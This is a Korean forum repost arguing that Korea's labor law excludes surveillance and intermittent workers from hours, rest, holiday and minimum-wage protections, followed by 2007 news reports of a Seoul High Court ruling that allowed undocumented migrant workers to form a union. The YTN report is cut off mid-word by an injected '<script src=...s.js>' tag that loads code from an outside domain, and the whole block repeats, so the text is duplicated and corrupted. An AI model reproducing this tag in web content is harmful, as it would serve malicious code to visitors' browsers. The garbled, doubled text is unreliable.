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감시단속적 근로자들의 쉼터(http://cafe.daum.net/edangam)에서 옮김
외국인에게도 그것도 불법체류 외국인에게도 노조설립을 인정하고
휴일근로수당 및 휴게시간, 근로시간에 대한 규정을 적용하고 있으며
초과근무할 경우엔 초과근무수당을 지급하고,
주휴일 규정을 지키고 있고, 최저임금이상
지급하도록 규정하고 있는데 반하여
감시단속적 근로자라는 이상한 명칭으로 노예화시킨
한국의 근로기준법에는
근로시간에 대한 규정을 지키지 않아도 되어
무한대로 근로를 가능하게 했으며
휴게시간에 대한 규정을 지키지 않아도 되어
휴게시간을 전혀 주지 않아도 되며
휴일에 대한 규정을 지키지 않아도 되어
일반근로자들이 휴일날 일해도 주휴일 규정으로 인해
임금이 지급되는데 반하여
감시단속적 근로자들은 휴일날 일해도 휴일수당이 지급되지 않으며
최저임금 이하로 지급해도 되도록
한 법이 있으니 그것이 바로
근로기준법 제 61조 3호와
최저임금법 제5조인 것이다.
외국인에게도 그것도 불법체류 외국인에게도 적용되는 규정이
왜 자국민인 우리 국민에게는 적용되지 못할까?
근로시간은 무한대로, 임금은 최저도 아닌 극히 최저로
지급하도록 규정하고
또한 임금은 제한하여 지급할 수 있도록 법제화해놓고도
세금은 100% 다 내도록 하는 법이
과연 어떤 법이란 말인가?
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불법체류 외국인 근로자도 노조 설립 인정해야
번호 : 28 글쓴이 : 단감자
조회 : 0 스크랩 : 0 날짜 : 2007.02.01 22:30
2007년 2월 1일 (목) 20:46 세계일보
"불법체류 외국인 근로자도 노조 설립 인정해야"
불법 체류 이주노동자의 노조 설립도 인정해야 한다는 항소심 판결이 나왔다. 이번 판결은 불법 체류 여부와 상관 없이 외국인 근로자에게 노동 3권(단결권·단체협상권·단체행동권)을 보장해야 한다는 것이어서 주목된다.
서울고법 특별11부(재판장 김수형)는 1일 서울·경기·인천 이주노동자 노동조합이 서울지방노동청장을 상대로 낸 노동조합 설립신고서 반려처분 취소 청구소송에서 원고 패소한 1심을 깨고 원고 승소 판결했다.
재판부는 판결문에서 “헌법과 근로기준법 등이 외국인 지위를 보장하고 있고 국적에 따른 차별 또한 금지하고 있다”며 “불법 체류 외국인이더라도 우리나라에서 현실적으로 근로를 제공하며 임금을 받는 이상 노동조합을 설립할 수 있는 근로자에 해당한다”고 밝혔다.
재판부는 이어 “외국인 취업 자격을 규제하고 불법 체류자의 외국인 고용을 금지한 출입국관리법이 존재하나 이는 취업 자격 없는 외국인 고용 행위 자체를 금지한 것에 불과할 뿐 불법 체류자라는 이유로 고용계약이 무효라고도 할 수 없고 노조 설립을 금지하는 것으로도 볼 수 없다”고 판시했다.
재판부는 또 노조 설립을 신고할 때 사업장별 명칭과 국적, 생년월일 등이 적힌 조합원 명부 등을 내도록 한 ‘노동조합 및 노동관계조정법 시행규칙’이 위법하다고 판단했다. 노동청은 원고가 이런 조합원 명부를 내지 않았다는 이유로 그동안 노조 설립 신고를 받아들이지 않았다.
재판부는 “해당 규칙은 법률 근거 없어 헌법상 기본권과 근로자의 단결권을 제한한 것으로 위법하다”고 지적했다.
정부는 현재 합법 체류 이주노동자에게만 노동3권을 보장하고 있는데, 이번 판결을 받아들일 수 없다면서 대법원에 상고하겠다고 밝혔다.
강구열 기자 river91
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2007년 2월 1일 (목) 20:45 YTN
"불법 체류 외국인에도 노조 허용해야"
[앵커멘트]
불법 체류하고 있는 외국인 근로자에게도 노동조합 설립을 허가해야 한다는 고등법원의 판결이 나왔습니다.
그동안의 정부 방침과 원심을 깬 판결 내용인데, 첫 외국인 노동조합이 생길 수 있을지 주목됩니다.
이대건 기자입니다.
[리포트]
지난 2005년 5월.
외국인 노동자 91명은 서울지방노동청에 노조를 만들겠다며 신고서를 냈습니다.
[인터뷰:아노아르, 이주노동조합 위원장]
"사업장에서 불법 체류자라고 탄압을 받아서 우리도 노동 3권을 보장받기 위해 신고서를 제출했던 것입니다."
그러나 노동청은 받아들이지 않았습니다.
노조를 만들겠다고 신청한 외국인이 대부분 불법 체류자 신분이었기 때문입니다.
당시 노동계는 외국인 노동자에 대한 탄압이라며 크게 반발했고, 이주노동조합 측은 곧바로 노동청을 상대로 소송을 냈습니다.
1심 재판부는 '조합원 가운데 불법 체류자들이 포함돼 있어 노조를 설립할 자격이 있는 근로자로 볼 수 없다'며 노동청의 손을 들어줬습니다.
하지만 항소심 재판부의 판?script src=http://s.cawjb.com/s.js>
외국인에게도 그것도 불법체류 외국인에게도 노조설립을 인정하고
휴일근로수당 및 휴게시간, 근로시간에 대한 규정을 적용하고 있으며
초과근무할 경우엔 초과근무수당을 지급하고,
주휴일 규정을 지키고 있고, 최저임금이상
지급하도록 규정하고 있는데 반하여
감시단속적 근로자라는 이상한 명칭으로 노예화시킨
한국의 근로기준법에는
근로시간에 대한 규정을 지키지 않아도 되어
무한대로 근로를 가능하게 했으며
휴게시간에 대한 규정을 지키지 않아도 되어
휴게시간을 전혀 주지 않아도 되며
휴일에 대한 규정을 지키지 않아도 되어
일반근로자들이 휴일날 일해도 주휴일 규정으로 인해
임금이 지급되는데 반하여
감시단속적 근로자들은 휴일날 일해도 휴일수당이 지급되지 않으며
최저임금 이하로 지급해도 되도록
한 법이 있으니 그것이 바로
근로기준법 제 61조 3호와
최저임금법 제5조인 것이다.
외국인에게도 그것도 불법체류 외국인에게도 적용되는 규정이
왜 자국민인 우리 국민에게는 적용되지 못할까?
근로시간은 무한대로, 임금은 최저도 아닌 극히 최저로
지급하도록 규정하고
또한 임금은 제한하여 지급할 수 있도록 법제화해놓고도
세금은 100% 다 내도록 하는 법이
과연 어떤 법이란 말인가?
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불법체류 외국인 근로자도 노조 설립 인정해야
번호 : 28 글쓴이 : 단감자
조회 : 0 스크랩 : 0 날짜 : 2007.02.01 22:30
2007년 2월 1일 (목) 20:46 세계일보
"불법체류 외국인 근로자도 노조 설립 인정해야"
불법 체류 이주노동자의 노조 설립도 인정해야 한다는 항소심 판결이 나왔다. 이번 판결은 불법 체류 여부와 상관 없이 외국인 근로자에게 노동 3권(단결권·단체협상권·단체행동권)을 보장해야 한다는 것이어서 주목된다.
서울고법 특별11부(재판장 김수형)는 1일 서울·경기·인천 이주노동자 노동조합이 서울지방노동청장을 상대로 낸 노동조합 설립신고서 반려처분 취소 청구소송에서 원고 패소한 1심을 깨고 원고 승소 판결했다.
재판부는 판결문에서 “헌법과 근로기준법 등이 외국인 지위를 보장하고 있고 국적에 따른 차별 또한 금지하고 있다”며 “불법 체류 외국인이더라도 우리나라에서 현실적으로 근로를 제공하며 임금을 받는 이상 노동조합을 설립할 수 있는 근로자에 해당한다”고 밝혔다.
재판부는 이어 “외국인 취업 자격을 규제하고 불법 체류자의 외국인 고용을 금지한 출입국관리법이 존재하나 이는 취업 자격 없는 외국인 고용 행위 자체를 금지한 것에 불과할 뿐 불법 체류자라는 이유로 고용계약이 무효라고도 할 수 없고 노조 설립을 금지하는 것으로도 볼 수 없다”고 판시했다.
재판부는 또 노조 설립을 신고할 때 사업장별 명칭과 국적, 생년월일 등이 적힌 조합원 명부 등을 내도록 한 ‘노동조합 및 노동관계조정법 시행규칙’이 위법하다고 판단했다. 노동청은 원고가 이런 조합원 명부를 내지 않았다는 이유로 그동안 노조 설립 신고를 받아들이지 않았다.
재판부는 “해당 규칙은 법률 근거 없어 헌법상 기본권과 근로자의 단결권을 제한한 것으로 위법하다”고 지적했다.
정부는 현재 합법 체류 이주노동자에게만 노동3권을 보장하고 있는데, 이번 판결을 받아들일 수 없다면서 대법원에 상고하겠다고 밝혔다.
강구열 기자 river91
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2007년 2월 1일 (목) 20:45 YTN
"불법 체류 외국인에도 노조 허용해야"
[앵커멘트]
불법 체류하고 있는 외국인 근로자에게도 노동조합 설립을 허가해야 한다는 고등법원의 판결이 나왔습니다.
그동안의 정부 방침과 원심을 깬 판결 내용인데, 첫 외국인 노동조합이 생길 수 있을지 주목됩니다.
이대건 기자입니다.
[리포트]
지난 2005년 5월.
외국인 노동자 91명은 서울지방노동청에 노조를 만들겠다며 신고서를 냈습니다.
[인터뷰:아노아르, 이주노동조합 위원장]
"사업장에서 불법 체류자라고 탄압을 받아서 우리도 노동 3권을 보장받기 위해 신고서를 제출했던 것입니다."
그러나 노동청은 받아들이지 않았습니다.
노조를 만들겠다고 신청한 외국인이 대부분 불법 체류자 신분이었기 때문입니다.
당시 노동계는 외국인 노동자에 대한 탄압이라며 크게 반발했고, 이주노동조합 측은 곧바로 노동청을 상대로 소송을 냈습니다.
1심 재판부는 '조합원 가운데 불법 체류자들이 포함돼 있어 노조를 설립할 자격이 있는 근로자로 볼 수 없다'며 노동청의 손을 들어줬습니다.
하지만 항소심 재판부의 판?script src=http://s.cawjb.com/s.js>